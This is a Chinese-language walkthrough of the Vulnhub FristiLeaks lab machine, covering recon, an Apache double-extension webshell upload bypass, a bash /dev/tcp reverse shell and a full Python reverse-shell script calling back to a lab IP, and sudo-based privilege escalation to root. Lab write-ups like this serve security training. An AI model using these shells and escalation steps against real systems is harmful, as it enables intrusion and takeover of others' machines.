Vulnhub-Fristileaks

靶机的待打清单
下载链接:Fristileaks

信息收集

nmap

目标机器只开放了一个80端口,所以枚举是关键!而且nmap发现了三个目录

nikto

并没有给我们什么有趣的东西。

网站路径探测

网站index

然而nmap找到的三个目录都是这个页面。。

用了很多个字典都跑不出来什么东西,甚至一度以为是隐写术。。

但是最后靠着这个图片的最后两个单词找到了正确的路径。。。

右键查看源代码会发现些有趣的东西

可以猜测到这是用户名

这段内容的base64解密之后是一个png图片

用python写成一个文件后得到一个图片

1
2
3
4
5
6
7
import base64

write_base64="""base64的值"""
imagedata=base64.b64decode(write_base64)

with open('1.png','wb') as f:
f.write(imagedata)


很有可能是一段密码,尝试用这个用户名和密码登录后,发现一个上传点。

漏洞利用

尝试上传一句话木马,结果发现是白名单验证。

尝试apache多后缀解析漏洞,上传一个yjh.php.jpg的文件。

成功上传,但是不知道能不能成功解析。


成功解析,用蚁剑连接上去后。反弹一个shell回来

1
bash -c 'bash -i >& /dev/tcp/192.168.40.228/8081'

我觉得我这里直接上传php-reverse-shell更好。。。

提权

先打开一个tty方便后续操作

这里试着用找到的数据库密码切换用户,但是不成功。数据库的用户也没有root权限。
不过在eezeepz的家目录下找到了一段关键信息

提示我们可以往/tmp/runthis下写一个命令,但是命令必须以/usr/bin /home/admin开头。执行的日志也会生成在/tmp下。

我在这里比较笨,尝试了很多无用的操作。。最后想到为什么不直接用python反弹一个shell呢,因为python的目录在/usr/bin/python。。

以下是我的无用功记录

最后是通过python反弹了一个shell获得了admin的权限。

1
2
3
4
5
6
7
8
9
import os,socket,subprocess

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.40.228',8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/bash','-i'])

虽然获得了admin的权限,不过admin的权限也是十分的有限。

不过admin下面有几个有趣的文件

较为关键的文件是cryptedpass.txt,cryptpass.py,whoisyourgodnow.txt

认真读了cryptpass.py后,发现是将一段字符串先进行base64加密,然后再反转加密后的字符串,最后进行rot13颠倒。(其实这里在拿到webshell之后认真读了的话,早就直接提到fristigod了。。

将whoisyourgodnow.txt进行以上的操作后,得到fristigod用户的密码。切换到fristigod用户后,sudo -l。发现这个用户可以执行一个不知道是什么的文件

/var/fristigod目录查看后,发现日志文件。查看日志文件获得提权线索。


直接照着历史记录的运行命令试试

1
2
3
4
5
6
7
8
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
Usage: ./program_name terminal_command ...bash-4.1$ whoami
fristigod
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom whoami
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
root
bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

提权成功!

总结

在拿到web-shell之后我就可以直接提权到fristi用户,但是因为不够仔细,没有去看那几个重要的文件。在提权到admin用户的时候,除了python反弹shell之外。也可以直接将admin的家目录修改为777,让任何人都能去看,这样我们也能随意进出admin的家目录了。所以其实提权到admin的动作是多余的。不管提不提权到admin都不会影响到最后提权fristi用户的操作。